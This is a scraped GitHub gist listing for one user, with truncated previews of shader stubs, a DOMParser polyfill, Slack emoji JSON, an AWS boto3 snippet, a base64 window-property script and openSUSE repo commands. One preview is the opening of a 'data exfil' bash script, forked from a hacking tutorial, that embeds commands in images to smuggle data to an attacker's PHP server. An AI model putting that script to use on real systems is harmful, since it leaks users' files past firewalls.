Skip to content

Instantly share code, notes, and snippets.

View LeetCodes's full-sized avatar
🎱
Choppin' caine rain, hail, sleet, or snow

LeetCodes

🎱
Choppin' caine rain, hail, sleet, or snow
View GitHub Profile
@LeetCodes
LeetCodes / index.html
Created November 19, 2020 07:44
Stylized Crystal Shader
<div id="world"></div>
@LeetCodes
LeetCodes / index.html
Created November 13, 2020 07:26
The end!
<!-- Nothing to see here -->
@LeetCodes
LeetCodes / index.html
Created October 29, 2020 01:00
pot leaf
<div id="container2"></div>
<div id="container"></div>
@LeetCodes
LeetCodes / index.html
Created October 28, 2020 02:38
Smoke Simulation
<canvas></canvas>
@LeetCodes
LeetCodes / html-domparser.js
Created October 16, 2020 15:58 — forked from eligrey/html-domparser.js
DOMParser HTML extension - Now a polyfill since HTML parsing was added to the DOMParser specification
/*
* DOMParser HTML extension
* 2019-11-13
*
* By Eli Grey, http://eligrey.com
* Public domain.
* NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
*/
/*! @source https://gist.github.com/1129031 */
@LeetCodes
LeetCodes / emojis.json
Created September 30, 2020 20:37 — forked from noirbizarre/emojis.json
Slack emojis
{
"ok": true,
"emoji": {
"bowtie": "https:\/\/emoji.slack-edge.com\/T04C2PSNY\/bowtie\/f3ec6f2bb0.png",
"squirrel": "https:\/\/emoji.slack-edge.com\/T04C2PSNY\/squirrel\/465f40c0e0.png",
"glitch_crab": "https:\/\/emoji.slack-edge.com\/T04C2PSNY\/glitch_crab\/db049f1f9c.png",
"piggy": "https:\/\/emoji.slack-edge.com\/T04C2PSNY\/piggy\/b7762ee8cd.png",
"cubimal_chick": "https:\/\/emoji.slack-edge.com\/T04C2PSNY\/cubimal_chick\/85961c43d7.png",
"dusty_stick": "https:\/\/emoji.slack-edge.com\/T04C2PSNY\/dusty_stick\/6177a62312.png",
"slack": "https:\/\/emoji.slack-edge.com\/T04C2PSNY\/slack\/5ee0c9bea3.png",
import boto3
import botocore
from time import sleep
import requests
import ipaddress
interesting_address = [
'3.0.0.3',
'3.0.0.1',
@LeetCodes
LeetCodes / data exfil
Created August 15, 2020 11:32 — forked from tokyoneon/data exfil
Hacking macOS: Use Images to Smuggle Data Through Firewalls
#!/bin/bash
# Script for https://null-byte.com/smuggle-data-through-firewalls-0197128/
# `if` statement to detemine if the message is a 'response' one
# This is the command being executed and embedded in the photo.
# Single-quotes are used here to help with escaping special
# characters within the desired command(s).
exfilData='ls -lah "/Users/$USER/"'
# Where the attackers PHP server is located. This needs to be
@LeetCodes
LeetCodes / faildow.js
Created July 28, 2020 22:36
create window object without default window properties, only properties added during page scripts execution
(_=>window.faildow=Object.keys(window).filter(key=>!JSON.parse(atob("WyJwYXJlbnQiLCJvcGVuZXIiLCJ0b3AiLCJsZW5ndGgiLCJmcmFtZXMiLCJjbG9zZWQiLCJsb2NhdGlvbiIsInNlbGYiLCJ3aW5kb3ciLCJkb2N1bWVudCIsIm5hbWUiLCJjdXN0b21FbGVtZW50cyIsImhpc3RvcnkiLCJsb2NhdGlvbmJhciIsIm1lbnViYXIiLCJwZXJzb25hbGJhciIsInNjcm9sbGJhcnMiLCJzdGF0dXNiYXIiLCJ0b29sYmFyIiwic3RhdHVzIiwiZnJhbWVFbGVtZW50IiwibmF2aWdhdG9yIiwib3JpZ2luIiwiZXh0ZXJuYWwiLCJzY3JlZW4iLCJpbm5lcldpZHRoIiwiaW5uZXJIZWlnaHQiLCJzY3JvbGxYIiwicGFnZVhPZmZzZXQiLCJzY3JvbGxZIiwicGFnZVlPZmZzZXQiLCJ2aXN1YWxWaWV3cG9ydCIsInNjcmVlblgiLCJzY3JlZW5ZIiwib3V0ZXJXaWR0aCIsIm91dGVySGVpZ2h0IiwiZGV2aWNlUGl4ZWxSYXRpbyIsImNsaWVudEluZm9ybWF0aW9uIiwic2NyZWVuTGVmdCIsInNjcmVlblRvcCIsImRlZmF1bHRTdGF0dXMiLCJkZWZhdWx0c3RhdHVzIiwic3R5bGVNZWRpYSIsIm9uc2VhcmNoIiwib253ZWJraXRhbmltYXRpb25lbmQiLCJvbndlYmtpdGFuaW1hdGlvbml0ZXJhdGlvbiIsIm9ud2Via2l0YW5pbWF0aW9uc3RhcnQiLCJvbndlYmtpdHRyYW5zaXRpb25lbmQiLCJpc1NlY3VyZUNvbnRleHQiLCJvbmFib3J0Iiwib25ibHVyIiwib25jYW5jZWwiLCJvbmNhbnBsYXkiLCJvbmNhbnBsYXl0aHJvdWdoIiwib25jaGFuZ2UiLCJvbmN
@LeetCodes
LeetCodes / client.sh
Created May 13, 2020 15:14 — forked from rriemann/client.sh
rsync mirror opensuse repo
#!/bin/sh
zypper ar --check --no-keep-packages --no-gpgcheck --type rpm-md --name fritzbox-12.1-update nfs://fritz.box:/var/media/ftp/uStor02/opensuse/update/12.1?mountoptions=vers=3 fritzbox-12.1-update
zypper ar --check --no-keep-packages --no-gpgcheck --type rpm-md --name fritzbox-12.1-kde48 nfs://fritz.box:/var/media/ftp/uStor02/opensuse/repositories/KDE:/Release:/48/openSUSE_12.1?mountoptions=vers=3 fritzbox-12.1-kde48
zypper ar --check --no-keep-packages --no-gpgcheck --type rpm-md --name fritzbox-12.1-packman nfs://fritz.box:/var/media/ftp/uStor02/opensuse/repositories/packman/12.1/Essentials?mountoptions=vers=3 fritzbox-12.1-packman
zypper mr -p 90 fritzbox-12.1-update
zypper mr -p 90 fritzbox-12.1-kde48
zypper mr -p 90 fritzbox-12.1-packman